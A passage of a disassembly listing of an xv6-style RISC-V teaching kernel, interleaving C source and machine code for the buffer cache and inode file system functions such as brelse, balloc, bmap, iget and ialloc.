8000359e: c09c sw a5,0(s1) return b; 800035a0: b7c5 j 80003580 <bread+0xd0> 00000000800035a2 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 800035a2: 1101 addi sp,sp,-32 800035a4: ec06 sd ra,24(sp) 800035a6: e822 sd s0,16(sp) 800035a8: e426 sd s1,8(sp) 800035aa: 1000 addi s0,sp,32 800035ac: 84aa mv s1,a0 if(!holdingsleep(&b->lock)) 800035ae: 0541 addi a0,a0,16 800035b0: 00001097 auipc ra,0x1 800035b4: 46c080e7 jalr 1132(ra) # 80004a1c <holdingsleep> 800035b8: cd01 beqz a0,800035d0 <bwrite+0x2e> panic("bwrite"); virtio_disk_rw(b, 1); 800035ba: 4585 li a1,1 800035bc: 8526 mv a0,s1 800035be: 00003097 auipc ra,0x3 800035c2: ef8080e7 jalr -264(ra) # 800064b6 <virtio_disk_rw> } 800035c6: 60e2 ld ra,24(sp) 800035c8: 6442 ld s0,16(sp) 800035ca: 64a2 ld s1,8(sp) 800035cc: 6105 addi sp,sp,32 800035ce: 8082 ret panic("bwrite"); 800035d0: 00005517 auipc a0,0x5 800035d4: 18850513 addi a0,a0,392 # 80008758 <syscalls+0x128> 800035d8: ffffd097 auipc ra,0xffffd 800035dc: f52080e7 jalr -174(ra) # 8000052a <panic> 00000000800035e0 <brelse>: // Release a locked buffer. // Move to the head of the most-recently-used list. void brelse(struct buf *b) { 800035e0: 1101 addi sp,sp,-32 800035e2: ec06 sd ra,24(sp) 800035e4: e822 sd s0,16(sp) 800035e6: e426 sd s1,8(sp) 800035e8: e04a sd s2,0(sp) 800035ea: 1000 addi s0,sp,32 800035ec: 84aa mv s1,a0 if(!holdingsleep(&b->lock)) 800035ee: 01050913 addi s2,a0,16 800035f2: 854a mv a0,s2 800035f4: 00001097 auipc ra,0x1 800035f8: 428080e7 jalr 1064(ra) # 80004a1c <holdingsleep> 800035fc: c92d beqz a0,8000366e <brelse+0x8e> panic("brelse"); releasesleep(&b->lock); 800035fe: 854a mv a0,s2 80003600: 00001097 auipc ra,0x1 80003604: 3d8080e7 jalr 984(ra) # 800049d8 <releasesleep> acquire(&bcache.lock); 80003608: 00014517 auipc a0,0x14 8000360c: 2f850513 addi a0,a0,760 # 80017900 <bcache> 80003610: ffffd097 auipc ra,0xffffd 80003614: 5b2080e7 jalr 1458(ra) # 80000bc2 <acquire> b->refcnt--; 80003618: 40bc lw a5,64(s1) 8000361a: 37fd addiw a5,a5,-1 8000361c: 0007871b sext.w a4,a5 80003620: c0bc sw a5,64(s1) if (b->refcnt == 0) { 80003622: eb05 bnez a4,80003652 <brelse+0x72> // no one is waiting for it. b->next->prev = b->prev; 80003624: 68bc ld a5,80(s1) 80003626: 64b8 ld a4,72(s1) 80003628: e7b8 sd a4,72(a5) b->prev->next = b->next; 8000362a: 64bc ld a5,72(s1) 8000362c: 68b8 ld a4,80(s1) 8000362e: ebb8 sd a4,80(a5) b->next = bcache.head.next; 80003630: 0001c797 auipc a5,0x1c 80003634: 2d078793 addi a5,a5,720 # 8001f900 <bcache+0x8000> 80003638: 2b87b703 ld a4,696(a5) 8000363c: e8b8 sd a4,80(s1) b->prev = &bcache.head; 8000363e: 0001c717 auipc a4,0x1c 80003642: 52a70713 addi a4,a4,1322 # 8001fb68 <bcache+0x8268> 80003646: e4b8 sd a4,72(s1) bcache.head.next->prev = b; 80003648: 2b87b703 ld a4,696(a5) 8000364c: e724 sd s1,72(a4) bcache.head.next = b; 8000364e: 2a97bc23 sd s1,696(a5) } release(&bcache.lock); 80003652: 00014517 auipc a0,0x14 80003656: 2ae50513 addi a0,a0,686 # 80017900 <bcache> 8000365a: ffffd097 auipc ra,0xffffd 8000365e: 61c080e7 jalr 1564(ra) # 80000c76 <release> } 80003662: 60e2 ld ra,24(sp) 80003664: 6442 ld s0,16(sp) 80003666: 64a2 ld s1,8(sp) 80003668: 6902 ld s2,0(sp) 8000366a: 6105 addi sp,sp,32 8000366c: 8082 ret panic("brelse"); 8000366e: 00005517 auipc a0,0x5 80003672: 0f250513 addi a0,a0,242 # 80008760 <syscalls+0x130> 80003676: ffffd097 auipc ra,0xffffd 8000367a: eb4080e7 jalr -332(ra) # 8000052a <panic> 000000008000367e <bpin>: void bpin(struct buf *b) { 8000367e: 1101 addi sp,sp,-32 80003680: ec06 sd ra,24(sp) 80003682: e822 sd s0,16(sp) 80003684: e426 sd s1,8(sp) 80003686: 1000 addi s0,sp,32 80003688: 84aa mv s1,a0 acquire(&bcache.lock); 8000368a: 00014517 auipc a0,0x14 8000368e: 27650513 addi a0,a0,630 # 80017900 <bcache> 80003692: ffffd097 auipc ra,0xffffd 80003696: 530080e7 jalr 1328(ra) # 80000bc2 <acquire> b->refcnt++; 8000369a: 40bc lw a5,64(s1) 8000369c: 2785 addiw a5,a5,1 8000369e: c0bc sw a5,64(s1) release(&bcache.lock); 800036a0: 00014517 auipc a0,0x14 800036a4: 26050513 addi a0,a0,608 # 80017900 <bcache> 800036a8: ffffd097 auipc ra,0xffffd 800036ac: 5ce080e7 jalr 1486(ra) # 80000c76 <release> } 800036b0: 60e2 ld ra,24(sp) 800036b2: 6442 ld s0,16(sp) 800036b4: 64a2 ld s1,8(sp) 800036b6: 6105 addi sp,sp,32 800036b8: 8082 ret 00000000800036ba <bunpin>: void bunpin(struct buf *b) { 800036ba: 1101 addi sp,sp,-32 800036bc: ec06 sd ra,24(sp) 800036be: e822 sd s0,16(sp) 800036c0: e426 sd s1,8(sp) 800036c2: 1000 addi s0,sp,32 800036c4: 84aa mv s1,a0 acquire(&bcache.lock); 800036c6: 00014517 auipc a0,0x14 800036ca: 23a50513 addi a0,a0,570 # 80017900 <bcache> 800036ce: ffffd097 auipc ra,0xffffd 800036d2: 4f4080e7 jalr 1268(ra) # 80000bc2 <acquire> b->refcnt--; 800036d6: 40bc lw a5,64(s1) 800036d8: 37fd addiw a5,a5,-1 800036da: c0bc sw a5,64(s1) release(&bcache.lock); 800036dc: 00014517 auipc a0,0x14 800036e0: 22450513 addi a0,a0,548 # 80017900 <bcache> 800036e4: ffffd097 auipc ra,0xffffd 800036e8: 592080e7 jalr 1426(ra) # 80000c76 <release> } 800036ec: 60e2 ld ra,24(sp) 800036ee: 6442 ld s0,16(sp) 800036f0: 64a2 ld s1,8(sp) 800036f2: 6105 addi sp,sp,32 800036f4: 8082 ret 00000000800036f6 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 800036f6: 1101 addi sp,sp,-32 800036f8: ec06 sd ra,24(sp) 800036fa: e822 sd s0,16(sp) 800036fc: e426 sd s1,8(sp) 800036fe: e04a sd s2,0(sp) 80003700: 1000 addi s0,sp,32 80003702: 84ae mv s1,a1 struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 80003704: 00d5d59b srliw a1,a1,0xd 80003708: 0001d797 auipc a5,0x1d 8000370c: 8d47a783 lw a5,-1836(a5) # 8001ffdc <sb+0x1c> 80003710: 9dbd addw a1,a1,a5 80003712: 00000097 auipc ra,0x0 80003716: d9e080e7 jalr -610(ra) # 800034b0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8000371a: 0074f713 andi a4,s1,7 8000371e: 4785 li a5,1 80003720: 00e797bb sllw a5,a5,a4 if((bp->data[bi/8] & m) == 0) 80003724: 14ce slli s1,s1,0x33 80003726: 90d9 srli s1,s1,0x36 80003728: 00950733 add a4,a0,s1 8000372c: 05874703 lbu a4,88(a4) 80003730: 00e7f6b3 and a3,a5,a4 80003734: c69d beqz a3,80003762 <bfree+0x6c> 80003736: 892a mv s2,a0 panic("freeing free block"); bp->data[bi/8] &= ~m; 80003738: 94aa add s1,s1,a0 8000373a: fff7c793 not a5,a5 8000373e: 8ff9 and a5,a5,a4 80003740: 04f48c23 sb a5,88(s1) log_write(bp); 80003744: 00001097 auipc ra,0x1 80003748: 11e080e7 jalr 286(ra) # 80004862 <log_write> brelse(bp); 8000374c: 854a mv a0,s2 8000374e: 00000097 auipc ra,0x0 80003752: e92080e7 jalr -366(ra) # 800035e0 <brelse> } 80003756: 60e2 ld ra,24(sp) 80003758: 6442 ld s0,16(sp) 8000375a: 64a2 ld s1,8(sp) 8000375c: 6902 ld s2,0(sp) 8000375e: 6105 addi sp,sp,32 80003760: 8082 ret panic("freeing free block"); 80003762: 00005517 auipc a0,0x5 80003766: 00650513 addi a0,a0,6 # 80008768 <syscalls+0x138> 8000376a: ffffd097 auipc ra,0xffffd 8000376e: dc0080e7 jalr -576(ra) # 8000052a <panic> 0000000080003772 <balloc>: { 80003772: 711d addi sp,sp,-96 80003774: ec86 sd ra,88(sp) 80003776: e8a2 sd s0,80(sp) 80003778: e4a6 sd s1,72(sp) 8000377a: e0ca sd s2,64(sp) 8000377c: fc4e sd s3,56(sp) 8000377e: f852 sd s4,48(sp) 80003780: f456 sd s5,40(sp) 80003782: f05a sd s6,32(sp) 80003784: ec5e sd s7,24(sp) 80003786: e862 sd s8,16(sp) 80003788: e466 sd s9,8(sp) 8000378a: 1080 addi s0,sp,96 for(b = 0; b < sb.size; b += BPB){ 8000378c: 0001d797 auipc a5,0x1d 80003790: 8387a783 lw a5,-1992(a5) # 8001ffc4 <sb+0x4> 80003794: cbd1 beqz a5,80003828 <balloc+0xb6> 80003796: 8baa mv s7,a0 80003798: 4a81 li s5,0 bp = bread(dev, BBLOCK(b, sb)); 8000379a: 0001db17 auipc s6,0x1d 8000379e: 826b0b13 addi s6,s6,-2010 # 8001ffc0 <sb> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 800037a2: 4c01 li s8,0 m = 1 << (bi % 8); 800037a4: 4985 li s3,1 for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 800037a6: 6a09 lui s4,0x2 for(b = 0; b < sb.size; b += BPB){ 800037a8: 6c89 lui s9,0x2 800037aa: a831 j 800037c6 <balloc+0x54> brelse(bp); 800037ac: 854a mv a0,s2 800037ae: 00000097 auipc ra,0x0 800037b2: e32080e7 jalr -462(ra) # 800035e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 800037b6: 015c87bb addw a5,s9,s5 800037ba: 00078a9b sext.w s5,a5 800037be: 004b2703 lw a4,4(s6) 800037c2: 06eaf363 bgeu s5,a4,80003828 <balloc+0xb6> bp = bread(dev, BBLOCK(b, sb)); 800037c6: 41fad79b sraiw a5,s5,0x1f 800037ca: 0137d79b srliw a5,a5,0x13 800037ce: 015787bb addw a5,a5,s5 800037d2: 40d7d79b sraiw a5,a5,0xd 800037d6: 01cb2583 lw a1,28(s6) 800037da: 9dbd addw a1,a1,a5 800037dc: 855e mv a0,s7 800037de: 00000097 auipc ra,0x0 800037e2: cd2080e7 jalr -814(ra) # 800034b0 <bread> 800037e6: 892a mv s2,a0 for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 800037e8: 004b2503 lw a0,4(s6) 800037ec: 000a849b sext.w s1,s5 800037f0: 8662 mv a2,s8 800037f2: faa4fde3 bgeu s1,a0,800037ac <balloc+0x3a> m = 1 << (bi % 8); 800037f6: 41f6579b sraiw a5,a2,0x1f 800037fa: 01d7d69b srliw a3,a5,0x1d 800037fe: 00c6873b addw a4,a3,a2 80003802: 00777793 andi a5,a4,7 80003806: 9f95 subw a5,a5,a3 80003808: 00f997bb sllw a5,s3,a5 if((bp->data[bi/8] & m) == 0){ // Is block free? 8000380c: 4037571b sraiw a4,a4,0x3 80003810: 00e906b3 add a3,s2,a4 80003814: 0586c683 lbu a3,88(a3) 80003818: 00d7f5b3 and a1,a5,a3 8000381c: cd91 beqz a1,80003838 <balloc+0xc6> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 8000381e: 2605 addiw a2,a2,1 80003820: 2485 addiw s1,s1,1 80003822: fd4618e3 bne a2,s4,800037f2 <balloc+0x80> 80003826: b759 j 800037ac <balloc+0x3a> panic("balloc: out of blocks"); 80003828: 00005517 auipc a0,0x5 8000382c: f5850513 addi a0,a0,-168 # 80008780 <syscalls+0x150> 80003830: ffffd097 auipc ra,0xffffd 80003834: cfa080e7 jalr -774(ra) # 8000052a <panic> bp->data[bi/8] |= m; // Mark block in use. 80003838: 974a add a4,a4,s2 8000383a: 8fd5 or a5,a5,a3 8000383c: 04f70c23 sb a5,88(a4) log_write(bp); 80003840: 854a mv a0,s2 80003842: 00001097 auipc ra,0x1 80003846: 020080e7 jalr 32(ra) # 80004862 <log_write> brelse(bp); 8000384a: 854a mv a0,s2 8000384c: 00000097 auipc ra,0x0 80003850: d94080e7 jalr -620(ra) # 800035e0 <brelse> bp = bread(dev, bno); 80003854: 85a6 mv a1,s1 80003856: 855e mv a0,s7 80003858: 00000097 auipc ra,0x0 8000385c: c58080e7 jalr -936(ra) # 800034b0 <bread> 80003860: 892a mv s2,a0 memset(bp->data, 0, BSIZE); 80003862: 40000613 li a2,1024 80003866: 4581 li a1,0 80003868: 05850513 addi a0,a0,88 8000386c: ffffd097 auipc ra,0xffffd 80003870: 452080e7 jalr 1106(ra) # 80000cbe <memset> log_write(bp); 80003874: 854a mv a0,s2 80003876: 00001097 auipc ra,0x1 8000387a: fec080e7 jalr -20(ra) # 80004862 <log_write> brelse(bp); 8000387e: 854a mv a0,s2 80003880: 00000097 auipc ra,0x0 80003884: d60080e7 jalr -672(ra) # 800035e0 <brelse> } 80003888: 8526 mv a0,s1 8000388a: 60e6 ld ra,88(sp) 8000388c: 6446 ld s0,80(sp) 8000388e: 64a6 ld s1,72(sp) 80003890: 6906 ld s2,64(sp) 80003892: 79e2 ld s3,56(sp) 80003894: 7a42 ld s4,48(sp) 80003896: 7aa2 ld s5,40(sp) 80003898: 7b02 ld s6,32(sp) 8000389a: 6be2 ld s7,24(sp) 8000389c: 6c42 ld s8,16(sp) 8000389e: 6ca2 ld s9,8(sp) 800038a0: 6125 addi sp,sp,96 800038a2: 8082 ret 00000000800038a4 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 800038a4: 7179 addi sp,sp,-48 800038a6: f406 sd ra,40(sp) 800038a8: f022 sd s0,32(sp) 800038aa: ec26 sd s1,24(sp) 800038ac: e84a sd s2,16(sp) 800038ae: e44e sd s3,8(sp) 800038b0: e052 sd s4,0(sp) 800038b2: 1800 addi s0,sp,48 800038b4: 892a mv s2,a0 uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 800038b6: 47ad li a5,11 800038b8: 04b7fe63 bgeu a5,a1,80003914 <bmap+0x70> if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 800038bc: ff45849b addiw s1,a1,-12 800038c0: 0004871b sext.w a4,s1 if(bn < NINDIRECT){ 800038c4: 0ff00793 li a5,255 800038c8: 0ae7e463 bltu a5,a4,80003970 <bmap+0xcc> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 800038cc: 08052583 lw a1,128(a0) 800038d0: c5b5 beqz a1,8000393c <bmap+0x98> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 800038d2: 00092503 lw a0,0(s2) 800038d6: 00000097 auipc ra,0x0 800038da: bda080e7 jalr -1062(ra) # 800034b0 <bread> 800038de: 8a2a mv s4,a0 a = (uint*)bp->data; 800038e0: 05850793 addi a5,a0,88 if((addr = a[bn]) == 0){ 800038e4: 02049713 slli a4,s1,0x20 800038e8: 01e75593 srli a1,a4,0x1e 800038ec: 00b784b3 add s1,a5,a1 800038f0: 0004a983 lw s3,0(s1) 800038f4: 04098e63 beqz s3,80003950 <bmap+0xac> a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 800038f8: 8552 mv a0,s4 800038fa: 00000097 auipc ra,0x0 800038fe: ce6080e7 jalr -794(ra) # 800035e0 <brelse> return addr; } panic("bmap: out of range"); } 80003902: 854e mv a0,s3 80003904: 70a2 ld ra,40(sp) 80003906: 7402 ld s0,32(sp) 80003908: 64e2 ld s1,24(sp) 8000390a: 6942 ld s2,16(sp) 8000390c: 69a2 ld s3,8(sp) 8000390e: 6a02 ld s4,0(sp) 80003910: 6145 addi sp,sp,48 80003912: 8082 ret if((addr = ip->addrs[bn]) == 0) 80003914: 02059793 slli a5,a1,0x20 80003918: 01e7d593 srli a1,a5,0x1e 8000391c: 00b504b3 add s1,a0,a1 80003920: 0504a983 lw s3,80(s1) 80003924: fc099fe3 bnez s3,80003902 <bmap+0x5e> ip->addrs[bn] = addr = balloc(ip->dev); 80003928: 4108 lw a0,0(a0) 8000392a: 00000097 auipc ra,0x0 8000392e: e48080e7 jalr -440(ra) # 80003772 <balloc> 80003932: 0005099b sext.w s3,a0 80003936: 0534a823 sw s3,80(s1) 8000393a: b7e1 j 80003902 <bmap+0x5e> ip->addrs[NDIRECT] = addr = balloc(ip->dev); 8000393c: 4108 lw a0,0(a0) 8000393e: 00000097 auipc ra,0x0 80003942: e34080e7 jalr -460(ra) # 80003772 <balloc> 80003946: 0005059b sext.w a1,a0 8000394a: 08b92023 sw a1,128(s2) 8000394e: b751 j 800038d2 <bmap+0x2e> a[bn] = addr = balloc(ip->dev); 80003950: 00092503 lw a0,0(s2) 80003954: 00000097 auipc ra,0x0 80003958: e1e080e7 jalr -482(ra) # 80003772 <balloc> 8000395c: 0005099b sext.w s3,a0 80003960: 0134a023 sw s3,0(s1) log_write(bp); 80003964: 8552 mv a0,s4 80003966: 00001097 auipc ra,0x1 8000396a: efc080e7 jalr -260(ra) # 80004862 <log_write> 8000396e: b769 j 800038f8 <bmap+0x54> panic("bmap: out of range"); 80003970: 00005517 auipc a0,0x5 80003974: e2850513 addi a0,a0,-472 # 80008798 <syscalls+0x168> 80003978: ffffd097 auipc ra,0xffffd 8000397c: bb2080e7 jalr -1102(ra) # 8000052a <panic> 0000000080003980 <iget>: { 80003980: 7179 addi sp,sp,-48 80003982: f406 sd ra,40(sp) 80003984: f022 sd s0,32(sp) 80003986: ec26 sd s1,24(sp) 80003988: e84a sd s2,16(sp) 8000398a: e44e sd s3,8(sp) 8000398c: e052 sd s4,0(sp) 8000398e: 1800 addi s0,sp,48 80003990: 89aa mv s3,a0 80003992: 8a2e mv s4,a1 acquire(&itable.lock); 80003994: 0001c517 auipc a0,0x1c 80003998: 64c50513 addi a0,a0,1612 # 8001ffe0 <itable> 8000399c: ffffd097 auipc ra,0xffffd 800039a0: 226080e7 jalr 550(ra) # 80000bc2 <acquire> empty = 0; 800039a4: 4901 li s2,0 for(ip = &itable.inode[0]; ip < &itable.inode[NINODE]; ip++){ 800039a6: 0001c497 auipc s1,0x1c 800039aa: 65248493 addi s1,s1,1618 # 8001fff8 <itable+0x18> 800039ae: 0001e697 auipc a3,0x1e 800039b2: 0da68693 addi a3,a3,218 # 80021a88 <log> 800039b6: a039 j 800039c4 <iget+0x44> if(empty == 0 && ip->ref == 0) // Remember empty slot. 800039b8: 02090b63 beqz s2,800039ee <iget+0x6e> for(ip = &itable.inode[0]; ip < &itable.inode[NINODE]; ip++){ 800039bc: 08848493 addi s1,s1,136 800039c0: 02d48a63 beq s1,a3,800039f4 <iget+0x74> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 800039c4: 449c lw a5,8(s1) 800039c6: fef059e3 blez a5,800039b8 <iget+0x38> 800039ca: 4098 lw a4,0(s1) 800039cc: ff3716e3 bne a4,s3,800039b8 <iget+0x38> 800039d0: 40d8 lw a4,4(s1) 800039d2: ff4713e3 bne a4,s4,800039b8 <iget+0x38> ip->ref++; 800039d6: 2785 addiw a5,a5,1 800039d8: c49c sw a5,8(s1) release(&itable.lock); 800039da: 0001c517 auipc a0,0x1c 800039de: 60650513 addi a0,a0,1542 # 8001ffe0 <itable> 800039e2: ffffd097 auipc ra,0xffffd 800039e6: 294080e7 jalr 660(ra) # 80000c76 <release> return ip; 800039ea: 8926 mv s2,s1 800039ec: a03d j 80003a1a <iget+0x9a> if(empty == 0 && ip->ref == 0) // Remember empty slot. 800039ee: f7f9 bnez a5,800039bc <iget+0x3c> 800039f0: 8926 mv s2,s1 800039f2: b7e9 j 800039bc <iget+0x3c> if(empty == 0) 800039f4: 02090c63 beqz s2,80003a2c <iget+0xac> ip->dev = dev; 800039f8: 01392023 sw s3,0(s2) ip->inum = inum; 800039fc: 01492223 sw s4,4(s2) ip->ref = 1; 80003a00: 4785 li a5,1 80003a02: 00f92423 sw a5,8(s2) ip->valid = 0; 80003a06: 04092023 sw zero,64(s2) release(&itable.lock); 80003a0a: 0001c517 auipc a0,0x1c 80003a0e: 5d650513 addi a0,a0,1494 # 8001ffe0 <itable> 80003a12: ffffd097 auipc ra,0xffffd 80003a16: 264080e7 jalr 612(ra) # 80000c76 <release> } 80003a1a: 854a mv a0,s2 80003a1c: 70a2 ld ra,40(sp) 80003a1e: 7402 ld s0,32(sp) 80003a20: 64e2 ld s1,24(sp) 80003a22: 6942 ld s2,16(sp) 80003a24: 69a2 ld s3,8(sp) 80003a26: 6a02 ld s4,0(sp) 80003a28: 6145 addi sp,sp,48 80003a2a: 8082 ret panic("iget: no inodes"); 80003a2c: 00005517 auipc a0,0x5 80003a30: d8450513 addi a0,a0,-636 # 800087b0 <syscalls+0x180> 80003a34: ffffd097 auipc ra,0xffffd 80003a38: af6080e7 jalr -1290(ra) # 8000052a <panic> 0000000080003a3c <fsinit>: fsinit(int dev) { 80003a3c: 7179 addi sp,sp,-48 80003a3e: f406 sd ra,40(sp) 80003a40: f022 sd s0,32(sp) 80003a42: ec26 sd s1,24(sp) 80003a44: e84a sd s2,16(sp) 80003a46: e44e sd s3,8(sp) 80003a48: 1800 addi s0,sp,48 80003a4a: 892a mv s2,a0 bp = bread(dev, 1); 80003a4c: 4585 li a1,1 80003a4e: 00000097 auipc ra,0x0 80003a52: a62080e7 jalr -1438(ra) # 800034b0 <bread> 80003a56: 84aa mv s1,a0 memmove(sb, bp->data, sizeof(*sb)); 80003a58: 0001c997 auipc s3,0x1c 80003a5c: 56898993 addi s3,s3,1384 # 8001ffc0 <sb> 80003a60: 02000613 li a2,32 80003a64: 05850593 addi a1,a0,88 80003a68: 854e mv a0,s3 80003a6a: ffffd097 auipc ra,0xffffd 80003a6e: 2b0080e7 jalr 688(ra) # 80000d1a <memmove> brelse(bp); 80003a72: 8526 mv a0,s1 80003a74: 00000097 auipc ra,0x0 80003a78: b6c080e7 jalr -1172(ra) # 800035e0 <brelse> if(sb.magic != FSMAGIC) 80003a7c: 0009a703 lw a4,0(s3) 80003a80: 102037b7 lui a5,0x10203 80003a84: 04078793 addi a5,a5,64 # 10203040 <_entry-0x6fdfcfc0> 80003a88: 02f71263 bne a4,a5,80003aac <fsinit+0x70> initlog(dev, &sb); 80003a8c: 0001c597 auipc a1,0x1c 80003a90: 53458593 addi a1,a1,1332 # 8001ffc0 <sb> 80003a94: 854a mv a0,s2 80003a96: 00001097 auipc ra,0x1 80003a9a: b4e080e7 jalr -1202(ra) # 800045e4 <initlog> } 80003a9e: 70a2 ld ra,40(sp) 80003aa0: 7402 ld s0,32(sp) 80003aa2: 64e2 ld s1,24(sp) 80003aa4: 6942 ld s2,16(sp) 80003aa6: 69a2 ld s3,8(sp) 80003aa8: 6145 addi sp,sp,48 80003aaa: 8082 ret panic("invalid file system"); 80003aac: 00005517 auipc a0,0x5 80003ab0: d1450513 addi a0,a0,-748 # 800087c0 <syscalls+0x190> 80003ab4: ffffd097 auipc ra,0xffffd 80003ab8: a76080e7 jalr -1418(ra) # 8000052a <panic> 0000000080003abc <iinit>: { 80003abc: 7179 addi sp,sp,-48 80003abe: f406 sd ra,40(sp) 80003ac0: f022 sd s0,32(sp) 80003ac2: ec26 sd s1,24(sp) 80003ac4: e84a sd s2,16(sp) 80003ac6: e44e sd s3,8(sp) 80003ac8: 1800 addi s0,sp,48 initlock(&itable.lock, "itable"); 80003aca: 00005597 auipc a1,0x5 80003ace: d0e58593 addi a1,a1,-754 # 800087d8 <syscalls+0x1a8> 80003ad2: 0001c517 auipc a0,0x1c 80003ad6: 50e50513 addi a0,a0,1294 # 8001ffe0 <itable> 80003ada: ffffd097 auipc ra,0xffffd 80003ade: 058080e7 jalr 88(ra) # 80000b32 <initlock> for(i = 0; i < NINODE; i++) { 80003ae2: 0001c497 auipc s1,0x1c 80003ae6: 52648493 addi s1,s1,1318 # 80020008 <itable+0x28> 80003aea: 0001e997 auipc s3,0x1e 80003aee: fae98993 addi s3,s3,-82 # 80021a98 <log+0x10> initsleeplock(&itable.inode[i].lock, "inode"); 80003af2: 00005917 auipc s2,0x5 80003af6: cee90913 addi s2,s2,-786 # 800087e0 <syscalls+0x1b0> 80003afa: 85ca mv a1,s2 80003afc: 8526 mv a0,s1 80003afe: 00001097 auipc ra,0x1 80003b02: e4a080e7 jalr -438(ra) # 80004948 <initsleeplock> for(i = 0; i < NINODE; i++) { 80003b06: 08848493 addi s1,s1,136 80003b0a: ff3498e3 bne s1,s3,80003afa <iinit+0x3e> } 80003b0e: 70a2 ld ra,40(sp) 80003b10: 7402 ld s0,32(sp) 80003b12: 64e2 ld s1,24(sp) 80003b14: 6942 ld s2,16(sp) 80003b16: 69a2 ld s3,8(sp) 80003b18: 6145 addi sp,sp,48 80003b1a: 8082 ret 0000000080003b1c <ialloc>: { 80003b1c: 715d addi sp,sp,-80 80003b1e: e486 sd ra,72(sp) 80003b20: e0a2 sd s0,64(sp) 80003b22: fc26 sd s1,56(sp) 80003b24: f84a sd s2,48(sp) 80003b26: f44e sd s3,40(sp) 80003b28: f052 sd s4,32(sp) 80003b2a: ec56 sd s5,24(sp) 80003b2c: e85a sd s6,16(sp) 80003b2e: e45e sd s7,8(sp) 80003b30: 0880 addi s0,sp,80 for(inum = 1; inum < sb.ninodes; inum++){ 80003b32: 0001c717 auipc a4,0x1c 80003b36: 49a72703 lw a4,1178(a4) # 8001ffcc <sb+0xc> 80003b3a: 4785 li a5,1 80003b3c: 04e7fa63 bgeu a5,a4,80003b90 <ialloc+0x74> 80003b40: 8aaa mv s5,a0 80003b42: 8bae mv s7,a1 80003b44: 4485 li s1,1 bp = bread(dev, IBLOCK(inum, sb)); 80003b46: 0001ca17 auipc s4,0x1c 80003b4a: 47aa0a13 addi s4,s4,1146 # 8001ffc0 <sb> 80003b4e: 00048b1b sext.w s6,s1 80003b52: 0044d793 srli a5,s1,0x4 80003b56: 018a2583 lw a1,24(s4) 80003b5a: 9dbd addw a1,a1,a5 80003b5c: 8556 mv a0,s5 80003b5e: 00000097 auipc ra,0x0 80003b62: 952080e7 jalr -1710(ra) # 800034b0 <bread> 80003b66: 892a mv s2,a0 dip = (struct dinode*)bp->data + inum%IPB; 80003b68: 05850993 addi s3,a0,88 80003b6c: 00f4f793 andi a5,s1,15 80003b70: 079a slli a5,a5,0x6 80003b72: 99be add s3,s3,a5 if(dip->type == 0){ // a free inode 80003b74: 00099783 lh a5,0(s3) 80003b78: c785 beqz a5,80003ba0 <ialloc+0x84> brelse(bp); 80003b7a: 00000097 auipc ra,0x0 80003b7e: a66080e7 jalr -1434(ra) # 800035e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 80003b82: 0485 addi s1,s1,1 80003b84: 00ca2703 lw a4,12(s4) 80003b88: 0004879b sext.w a5,s1 80003b8c: fce7e1e3 bltu a5,a4,80003b4e <ialloc+0x32> panic("ialloc: no inodes"); 80003b90: 00005517 auipc a0,0x5 80003b94: c5850513 addi a0,a0,-936 # 800087e8 <syscalls+0x1b8> 80003b98: ffffd097 auipc ra,0xffffd 80003b9c: 992080e7 jalr -1646(ra) # 8000052a <panic> memset(dip, 0, sizeof(*dip)); 80003ba0: 04000613 li a2,64 80003ba4: 4581 li a1,0 80003ba6: 854e mv a0,s3 80003ba8: ffffd097 auipc ra,0xffffd 80003bac: 116080e7 jalr 278(ra) # 80000cbe <memset> dip->type = type; 80003bb0: 01799023 sh s7,0(s3) log_write(bp); // mark it allocated on the disk 80003bb4: 854a mv a0,s2 80003bb6: 00001097 auipc ra,0x1 80003bba: cac080e7 jalr -852(ra) # 80004862 <log_write> brelse(bp); 80003bbe: 854a mv a0,s2 80003bc0: 00000097 auipc ra,0x0 80003bc4: a20080e7 jalr -1504(ra) # 800035e0 <brelse> return iget(dev, inum); 80003bc8: 85da mv a1,s6 80003bca: 8556 mv a0,s5 80003bcc: 00000097 auipc ra,0x0 80003bd0: db4080e7 jalr -588(ra) # 80003980 <iget> } 80003bd4: 60a6 ld ra,72(sp) 80003bd6: 6406 ld s0,64(sp) 80003bd8: 74e2 ld s1,56(sp) 80003bda: 7942 ld s2,48(sp) 80003bdc: 79a2 ld s3,40(sp) 80003bde: 7a02 ld s4,32(sp) 80003be0: 6ae2 ld s5,24(sp) 80003be2: 6b42 ld s6,16(sp) 80003be4: 6ba2 ld s7,8(sp) 80003be6: 6161 addi sp,sp,80 80003be8: 8082 ret 0000000080003bea <iupdate>: { 80003bea: 1101 addi sp,sp,-32 80003bec: ec06 sd ra,24(sp) 80003bee: e822 sd s0,16(sp) 80003bf0: e426 sd s1,8(sp) 80003bf2: e04a sd s2,0(sp) 80003bf4: 1000 addi s0,sp,32 80003bf6: 84aa mv s1,a0 bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80003bf8: 415c lw a5,4(a0) 80003bfa: 0047d79b srliw a5,a5,0x4 80003bfe: 0001c597 auipc a1,0x1c 80003c02: 3da5a583 lw a1,986(a1) # 8001ffd8 <sb+0x18> 80003c06: 9dbd addw a1,a1,a5 80003c08: 4108 lw a0,0(a0) 80003c0a: 00000097 auipc ra,0x0 80003c0e: 8a6080e7 jalr -1882(ra) # 800034b0 <bread> 80003c12: 892a mv s2,a0 dip = (struct dinode*)bp->data + ip->inum%IPB; 80003c14: 05850793 addi a5,a0,88 80003c18: 